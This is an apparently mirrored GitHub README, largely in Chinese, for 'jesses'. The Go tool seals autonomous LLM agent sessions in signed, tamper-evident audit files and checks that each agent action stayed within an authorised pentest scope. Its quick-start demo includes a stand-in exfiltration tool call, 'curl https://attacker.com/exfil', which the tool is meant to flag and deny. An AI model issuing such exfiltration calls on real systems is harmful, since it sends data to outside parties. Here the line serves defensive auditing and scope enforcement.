Hybirdss/jesses

GitHub: Hybirdss/jesses

为自主 LLM 代理生成带加密证明的交付物并支持完整性验证的项目。

Stars: 1 | Forks: 0

# jesses [![CI](https://static.pigsec.cn/wp-content/uploads/repos/2026/04/c1d7667bb6063256.svg)](https://github.com/Hybirdss/jesses/actions/workflows/ci.yml) [![License: MIT](https://img.shields.io/badge/License-MIT-blue.svg)](./LICENSE) [![Go Reference](https://pkg.go.dev/badge/github.com/Hybirdss/jesses.svg)](https://pkg.go.dev/github.com/Hybirdss/jesses) 加密认证的自主 LLM 代理会话。当代理生成漏洞赏金报告、渗透测试发现或 B2B 合规运行时,`jesses` 会伴随交付物发出一个不可篡改的 `.jes` 文件。分类分析师可通过一条命令验证它,并且从数学上确认代理始终处于授权的操作范围内。 ![jesses flow — session → seal → verify](https://static.pigsec.cn/wp-content/uploads/repos/2026/04/fd246faff9063257.svg) ## 快速开始 ``` git clone https://github.com/Hybirdss/jesses && cd jesses go build -o jesses ./cmd/jesses/ ./jesses init-scope cat <<'EOF' | ./jesses hook --fake-rekor {"tool":"bash","input":{"command":"curl https://api.target.com/users"}} {"tool":"bash","input":{"command":"curl https://attacker.com/exfil"}} {"_action":"close"} EOF ./jesses verify --offline session.jes ./jesses view session.jes ``` 或者在 [`examples/demo-bounty/reproduce.sh`](./examples/demo-bounty/reproduce.sh) 中运行完整的 7 事件演示。 ## 功能 八个工具使用事件中采样判决,其中三个在钩子时间被拒绝: ![jesses verify output](https://static.pigsec.cn/wp-content/uploads/repos/2026/04/7ca13b3d3d063258.svg) `jesses stats` 是同一会话的紧凑仪表板,高亮显示被拒绝标记的主机: ![jesses stats output](https://static.pigsec.cn/wp-content/uploads/repos/2026/04/5433d4b76a063259.svg) `jesses show ` 在不运行验证的情况下漂亮打印信封谓词 — 适用于快速扫描和在 PR 描述中嵌入: ![jesses show output](https://static.pigsec.cn/wp-content/uploads/repos/2026/04/42cbafd6c0063300.svg) 以上三个输出均为 [`examples/demo-bounty/reproduce.sh`](./examples/demo-bounty/reproduce.sh) 的真实截图。重新生成它们可使用 `LC_ALL=C script -qc "./jesses …" out.ansi` 管道至 [`ansi2svg.py`](./examples/demo-bounty/screenshots/ansi2svg.py)。 七个门控,每个对应一个特定威胁([`THREAT_MODEL.md`](./THREAT_MODEL.md)): | 门控 | 防御 | |---|---| | G1 信封签名 | 密钥替换 | | G2 Merkle 根 | 日志编辑 / 截断 / 选择性删除 | | G3 Rekor 提交前 | 会话伪造 / 回溯日期 | | G4 范围哈希 | 策略替换 | | G5 策略合规 | 运行时范围违规 | | G6 OTS 锚点(建议) | 超出 Rekor 的外部时间锚定 | | G7 可交付成果溯源 | 会话前数据注入报告 | ## 两个独立实现 ``` $ cd verifier-js && node test.mjs ✓ happy-path ✓ policy-breach ✓ tampered-log 3/3 vectors conform to Go reference implementation ``` - Go 参考实现:`internal/verify` - JavaScript:`verifier-js/` — 零依赖,仅使用 Node 20+ 内置模块 - 规范语料库: [`spec/test-vectors/v0.1/`](./spec/test-vectors/) — 两种验证器必须生成字节一致的 `Report` JSON。如需添加第三个实现,请参阅 [`verifier-js/README.md`](./verifier-js/README.md)。 ## 子命令 ``` jesses verify 6-gate verification (7 if --report) jesses view [--follow] [--report md] local HTTP viewer, 60s TTL jesses run -- [args] wrap a child process, auto-finalize jesses hook stdin-driven agent harness hook jesses stats hygiene dashboard jesses cite emit a footnote def for one event jesses report --bind bind a report to the envelope (G7) jesses init-scope write a scope.txt template jesses version ``` ## 进程绑定包装 `jesses run -- [args]` 在 jesses 自身进程下启动 `` 作为子进程。两条合成事件将证明声明的 `[wrap_start, wrap_end]` 时间范围;子进程的 stdout/stderr 会同时输出到 `session.stdout.log` 和 `session.stderr.log` 以及审计日志。信封所述即所证,无额外内容。 ## 可交付成果溯源(G7) 报告可携带脚注引用,将每个声明绑定到特定的审计日志事件: ``` The endpoint returned user 42's PII despite the token being for user 10 [^ev:3]. [^ev:3]: event #3 @ 2026-04-16T12:05:22Z — `bash: curl https://api.target.com/v1/users/42` — sha256 `7a3f5c89…` ``` `jesses report --bind report.md session.jes` 会哈希该文件并将其纳入信封,同时验证引用。`jesses verify --report report.md session.jes` 会端到端重新检查所有内容。未引用的事实行会根据 `--bare-policy=allow|warn|strict` 标记。 ## 架构 ``` agent harness (Claude Code / Cursor / Cline / custom) │ tool-use event JSON (line-delimited, stdin) ▼ ┌────────────────────────────────────────────────────────────┐ │ jesses hook / jesses run │ │ │ │ dispatch → per-tool extractor → []Destination │ │ ↓ │ │ policy.Evaluate → Decision (allow/warn/deny) │ │ ↓ │ │ audit.Append → canonical JSON → Merkle leaf │ │ │ │ at session_start: precommit.Submit(Rekor) │ │ at session_end: attest.Build(envelope) + ots.Submit │ └────────────────────────────────────────────────────────────┘ │ session.jes (in-toto ITE-6 + ed25519 signature) ▼ verifier — Go or JavaScript (same 7 gates, same Report) ``` 完整布局: [`ARCHITECTURE.md`](./ARCHITECTURE.md)。架构决策记录: [`docs/adr/`](./docs/adr/)。 ## 安装 从源码构建(需要 Go 1.22+): ``` go install github.com/Hybirdss/jesses/cmd/jesses@latest ``` 已发布签名二进制文件(通过 cosign 无密钥签名、Fulcio + Rekor、SLSA 构建 L3 溯源、SBOM)位于 [发布页面](https://github.com/Hybirdss/jesses/releases)。 ## 集成 | 集成 | 方式 | |---|---| | Claude Code | 标准输入钩子模式 | | Cursor / Cline | 相同标准输入格式 | | 自定义 Go 集成 | 嵌入 [`pkg/jesses`](./pkg/jesses) — 稳定 API | | GitHub Actions / CI | `jesses verify --json --offline session.jes` | ## 仓库结构 ``` cmd/jesses/ the CLI + embedded HTML viewer internal/ audit/ append-only canonical log writer merkle/ RFC 6962 byte-exact with Certificate Transparency policy/ scope.txt parser + 5-namespace matcher shellparse/ tokenizer + segment splitter extractors/ per-tool destination extractors (bash, path, web, mcp) session/ Open/Append/Close lifecycle precommit/ SCT-analog session-start commitment rekor/ transparency-log client ots/ OpenTimestamps calendar client attest/ in-toto ITE-6 envelope provenance/ deliverable-to-log binding (G7) verify/ six/seven-gate verifier pkg/jesses/ public Go API for embedders verifier-js/ JavaScript second implementation spec/test-vectors/v0.1/ cross-implementation conformance corpus examples/demo-bounty/ reproducible end-to-end demo docs/adr/ architecture decision records ``` ## 指标 - **218 个 Go 测试 + 3 个 JavaScript 一致性向量** - **每个生产包零外部依赖** - **钩子路径延迟**:简单场景 3 μs,对抗场景 15 μs,100 段流水线 133 μs - **模糊测试**:1.2 M 次执行,速度 170 k/s,持续 10 秒,零崩溃 ## 进一步阅读 - [`WHY.md`](./WHY.md) — 为何存在此项目以及为何现在是发布窗口 - [`FAQ.md`](./FAQ.md) — 对抗性问题:为何不直接使用 Sigstore、与 Aegis 的区别、什么会首先失效 - [`THREAT_MODEL.md`](./THREAT_MODEL.md) — 提交者即对手的前提及八个已枚举攻击 - [`SPEC.md`](./SPEC.md) — 规范 v0.1 - [`docs/adr/`](./docs/adr/) — 架构决策记录 ## 许可证 MIT。参见 [`LICENSE`](./LICENSE)。 ## 贡献 参见 [`CONTRIBUTING.md`](./CONTRIBUTING.md)。拉取请求需包含 DCO 签署。对于安全问题,请参考 [`SECURITY.md`](./SECURITY.md)。
标签:CI集成, EVTX分析, Go语言, in-toto, Merkle树, OpenTimestamps, Rekor, 会话密封, 加密认证, 区块链, 可验证审计, 安全交付物, 数据可视化, 日志审计, 程序破解, 篡改检测, 自主LLM代理, 自动化代理, 证明标准, 软件供应链安全, 远程方法调用